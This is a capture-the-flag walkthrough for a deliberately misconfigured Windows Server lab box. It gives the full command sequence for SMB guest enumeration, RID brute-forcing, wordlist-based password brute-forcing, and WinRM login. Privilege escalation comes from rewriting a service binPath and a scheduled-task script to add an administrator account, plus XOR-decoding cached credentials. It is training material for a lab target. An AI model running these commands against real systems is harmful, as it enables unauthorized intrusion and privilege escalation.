
Description
Darkglass, a security startup, runs a misconfigured internal demo server. Developers have poor password hygiene, misconfigured services, and an admin application that poorly caches secrets. Through unprivileged enumeration and basic exploitation, operators can escalate privileges via service misconfiguration vulnerabilities and brute-forced credentials.
Scope
| Target | Operating System | Operational Tier |
|---|---|---|
| Darkglass Cyber Solutions | Windows Server 2022 (x64) | Recruit |
Getting user.txt
Initial foothold is relatively straightforward. The target’s SMB infrastructure permits guest authentication, thereby enabling:
- Enumeration of principals through RID brute-forcing, a technique used to enumerate principal accounts by systematically guessing Relative Identifiers (opens in a new tab) (RIDs)
- Listing and enumeration of shares
First, run an Nmap TCP Connect (opens in a new tab) scan (via the -sT switch), which will reveal that SMB (445/tcp) and WinRM (5985/tcp) ports are open:
$ nmap -sT <ip> --open
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 17:28 CEST
Nmap scan report for DARKGLASS (<ip>)
Host is up (0.068s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds
Then, using nxc’s smb module with guest access, use the --rid-brute switch (opens in a new tab) to enumerate principals by their RIDs:
$ nxc smb <ip> -u guest -p '' --rid-brute
SMB <ip> 445 DARKGLASS [*] Windows Server 2022 Build 20348 x64 (name:DARKGLASS) (domain:DARKGLASS) (signing:False) (SMBv1:False)
SMB <ip> 445 DARKGLASS [+] DARKGLASS\guest:
SMB <ip> 445 DARKGLASS 500: DARKGLASS\Administrator (SidTypeUser)
SMB <ip> 445 DARKGLASS 501: DARKGLASS\Guest (SidTypeUser)
SMB <ip> 445 DARKGLASS 503: DARKGLASS\DefaultAccount (SidTypeUser)
SMB <ip> 445 DARKGLASS 504: DARKGLASS\WDAGUtilityAccount (SidTypeUser)
SMB <ip> 445 DARKGLASS 513: DARKGLASS\None (SidTypeGroup)
SMB <ip> 445 DARKGLASS 1000: DARKGLASS\tom (SidTypeUser)
SMB <ip> 445 DARKGLASS 1003: DARKGLASS\dev (SidTypeUser)
SMB <ip> 445 DARKGLASS 1004: DARKGLASS\dgadmin (SidTypeUser)
Using the same module, it is also possible to identify accessible shares using the --shares switch (opens in a new tab). The Public share contains a note named README.txt:
$ nxc smb <ip> -u guest -p '' --shares
SMB <ip> 445 DARKGLASS [+] DARKGLASS\guest:
SMB <ip> 445 DARKGLASS [*] Enumerated shares
SMB <ip> 445 DARKGLASS Share Permissions Remark
SMB <ip> 445 DARKGLASS ----- ----------- ------
SMB <ip> 445 DARKGLASS ADMIN$ Remote Admin
SMB <ip> 445 DARKGLASS backups READ
SMB <ip> 445 DARKGLASS C$ Default share
SMB <ip> 445 DARKGLASS IPC$ READ Remote IPC
SMB <ip> 445 DARKGLASS public READ
$ cat public/README.txt
Tom (intern) uses <REDACTED>, lol
The note reveals that Tom uses his username as his password. Using this information, a custom wordlist can be created using tom<YEAR>! patterns:
$ for i in {1900..2025}; do for sym in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')'; do echo "tom${i}${sym}"; done; done > full_secrets.txt
With the wordlist generated, the smb module from nxc can be used, providing the password list, which the module will brute-force until the correct password is discovered:
$ nxc smb <ip> -u tom -p full_secrets.txt
SMB <ip> 445 DARKGLASS [-] DARKGLASS\tom:tom1900! STATUS_LOGON_FAILURE
...
SMB <ip> 445 DARKGLASS [+] DARKGLASS\tom:<REDACTED>
$ nxc winrm <ip> -u tom -p '<REDACTED>'
WINRM <ip> 5985 DARKGLASS [*] Windows Server 2022 Build 20348 (name:DARKGLASS) (domain:DARKGLASS)
WINRM <ip> 5985 DARKGLASS [+] DARKGLASS\tom:<REDACTED> (Pwn3d!)
Using the service information gathered from the Nmap scan earlier, authentication to WinRM can now be made using the discovered credentials, and user.txt retrieved:
$ evil-winrm -i <ip> -u tom -p '<REDACTED>'
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\tom\Documents>
> cat C:\Users\tom\Desktop\user.txt
<REDACTED>
Privilege Escalation to root.txt
The privilege escalation vector is achieved through an old but gold service permission abuse, by manipulating the path from which the service loads its binary. Because the binary executes with the privileges of the service itself, this offers a straightforward path to privilege escalation.
There are several ways to exploit this:
- Create a custom service binary that executes shellcode to establish C2 communications (be sure that the binary is service compatible (opens in a new tab), otherwise your implants will crash)
- Insert any standard Windows command, such as using
netto add a user to the localAdministratorsgroup
This walkthrough uses the latter option.
Enumerating the C:\Program Files directory reveals an application named DGUpdater:
> dir "C:\Program Files"
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 10:34 AM Common Files
d----- 8/10/2025 2:00 PM DGUpdater
d----- 3/3/2022 4:58 AM Internet Explorer
d----- 5/8/2021 10:20 AM ModifiableWindowsApps
d----- 8/10/2025 3:06 PM MSBuild
d----- 8/10/2025 3:06 PM Reference Assemblies
d----- 5/8/2021 11:35 AM Windows Defender
d----- 3/3/2022 4:58 AM Windows Defender Advanced Threat Protection
d----- 3/3/2022 4:58 AM Windows Mail
d----- 3/3/2022 4:58 AM Windows Media Player
d----- 5/8/2021 11:35 AM Windows NT
d----- 3/3/2022 4:58 AM Windows Photo Viewer
d----- 5/8/2021 10:34 AM WindowsPowerShell
> sc.exe query DGUpdater
SERVICE_NAME: DGUpdater
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
> sc.exe sdshow DGUpdater
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
By checking the service’s permissions via its SDDL (opens in a new tab), it can be confirmed that the service grants comprehensive control rights to members of the Authenticated Users group, including the ability to modify its properties.
Having confirmed these permissions, the service’s binPath property can now be replaced with a custom net command to create a new user:
> sc.exe config DGUpdater binPath="net user hacker P@ssw0rd! /add"
[SC] ChangeServiceConfig SUCCESS
To invoke its creation, the service needs to be restarted:
> sc.exe start DGUpdater
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
> net user
User accounts for \\
-------------------------------------------------------------
Administrator DefaultAccount dev
dgadmin Guest hacker
tom WDAGUtilityAccount
The command completed with one or more errors.
Similarly, the newly created user can now be added to the local Administrators group:
> sc.exe config DGUpdater binPath="net localgroup Administrators hacker /add"
[SC] ChangeServiceConfig SUCCESS
> sc.exe start DGUpdater
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
> net user hacker
User name hacker
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
With the new user account, C:\Windows\System32\root.txt can be retrieved by first modifying its permissions with icacls via nxc’s smb module, using the -x switch (opens in a new tab) for remote command execution, and then reading it with the standard cat command:
$ nxc smb <ip> -u hacker -p P@ssw0rd! -x "icacls C:\Windows\System32\root.txt /grant Administrators:F"
SMB <ip> 445 DARKGLASS [+] DARKGLASS\hacker:P@ssw0rd! (Pwn3d!)
SMB <ip> 445 DARKGLASS [+] Executed command via wmiexec
SMB <ip> 445 DARKGLASS processed file: C:\Windows\System32\root.txt
SMB <ip> 445 DARKGLASS Successfully processed 1 files; Failed processing 0 files
$ nxc smb <ip> -u hacker -p P@ssw0rd! -X "cat C:\Windows\System32\root.txt"
SMB <ip> 445 DARKGLASS [+] DARKGLASS\hacker:P@ssw0rd! (Pwn3d!)
SMB <ip> 445 DARKGLASS [+] Executed command via wmiexec
<REDACTED>
Unintended Paths
Unintended Path #1 - Scheduled Task update.ps1 abuse
The first unintended path can be identified by enumerating scheduled tasks, where one can be found running C:\DG\Scripts\update.ps1 under high integrity, and is modifiable by the current user. By overwriting this script (or, better yet, appending a command within it to avoid breaking functionality), any action can be executed within that scheduled task’s context:
Before making any changes, it is worth examining the script and the output it produces:
> cat C:\DG\Scripts\update.ps1
# DarkGlass Update Script v1.2
# Reads configuration and performs system cleanup
param([string]$LogLevel = "INFO")
try {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logFile = "C:\DG\logs\update.log"
Add-Content $logFile "$timestamp - [INFO] Update script started"
if (Test-Path 'C:\DG\secrets\secrets.xml') {
$xml = [xml](Get-Content 'C:\DG\secrets\secrets.xml')
Add-Content $logFile "$timestamp - [INFO] Configuration loaded successfully"
Start-Sleep -Seconds 1
Add-Content $logFile "$timestamp - [INFO] System maintenance completed"
}
Get-ChildItem -Path $env:TEMP -Recurse -Force -ErrorAction SilentlyContinue |
Where-Object { $_.CreationTime -lt (Get-Date).AddDays(-7) } |
Remove-Item -Force -Recurse -ErrorAction SilentlyContinue
Add-Content $logFile "$timestamp - [INFO] Cleanup completed successfully"
} catch {
Add-Content $logFile "$timestamp - [ERROR] Script failed: $($_.Exception.Message)"
}
> cat C:\DG\Logs\update.log
2025-08-10 23:07:19 - [INFO] DarkGlass system initialized
2025-08-10 23:07:19 - [INFO] Scheduled maintenance task created
2025-08-10 23:07:19 - [INFO] Configuration files generated
2025-08-11 21:03:16 - [INFO] Update script started
2025-08-11 21:03:16 - [INFO] Configuration loaded successfully
2025-08-11 21:03:16 - [INFO] System maintenance completed
2025-08-11 21:03:16 - [INFO] Cleanup completed successfully
With that understood, the script can now be updated to create a new user, as done previously:
> "net user taskadmin Passw0rd! /add" | Out-File C:\DG\scripts\update.ps1
To trigger the user’s creation, the scheduled task needs to execute, which it does automatically every 10 minutes. Using the same approach, the new user can then be added to the local Administrators group:
> "net localgroup Administrators taskadmin /add" | Out-File C:\DG\scripts\update.ps1
> net user hacker
User name hacker
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
Lastly, the new user can be used to log in and retrieve C:\Windows\System32\root.txt.
Unintended Path #2 - XOR Secrets in secrets.xml
The second unintended path involves some cryptography. The C:\DG\Scripts\secrets.xml file contains an XOR obfuscated username and password for a privileged account. Since XOR obfuscation is trivially reversible given the key, the credentials can be recovered with minimal effort.
First, let’s take a look at the file:
> Get-Content C:\DG\Scripts\secrets.xml
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<secrets>
<!-- Encrypted admin credentials for system operations -->
<!-- Encoding: XOR cipher with rotating key -->
<adminUser><REDACTED></adminUser>
<adminPassword><REDACTED></adminPassword>
<encryptionMethod>XOR-Base64</encryptionMethod>
<keyHint>company_name_lowercase</keyHint>
</secrets>
<settings>
<updateInterval>10</updateInterval>
<logLevel>INFO</logLevel>
<cleanupDays>7</cleanupDays>
</settings>
</configuration>
Taking the adminUser and adminPassword properties as the target values, the keyHint can be used to make an informed judgement on the key used (darkglass), allowing a simple script to be written that reverses the XOR encoding process and extracts the credentials:
$adminUserEnc = "<REDACTED>"
$adminPassEnc = "<REDACTED>"
$key = "darkglass"
function XOR-Decode($base64, $key) {
$data = [System.Convert]::FromBase64String($base64)
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)
$decoded = New-Object byte[] ($data.Length)
for ($i = 0; $i -lt $data.Length; $i++) {
$decoded[$i] = $data[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
return [System.Text.Encoding]::UTF8.GetString($decoded)
}
$adminUser = XOR-Decode $adminUserEnc $key
$adminPass = XOR-Decode $adminPassEnc $key
Write-Host "Admin Username: $adminUser"
Write-Host "Admin Password: $adminPass"
Once executed, the credentials are revealed:
Admin Username: <REDACTED>
Admin Password: <REDACTED>
Finally, the recovered credentials can be used to authenticate as the admin user via SMB or WinRM and retrieve C:\Windows\System32\root.txt.
One More Thing
While testing this box, something was noticed that isn’t part of either path documented here. What it is won’t be revealed. If you’re curious, go take a closer look yourself.
Additional Notes
- Developers love adding years to passwords
- Some services still run with
SYSTEMprivileges but allow modification by standard users
What’s Next
Darkglass covers the fundamentals:
- Enumeration
- Credential brute-forcing
- Classic Windows service misconfiguration
For those ready to push further, Obscura (Agent tier) puts a real Windows Defender instance between you and root.txt.
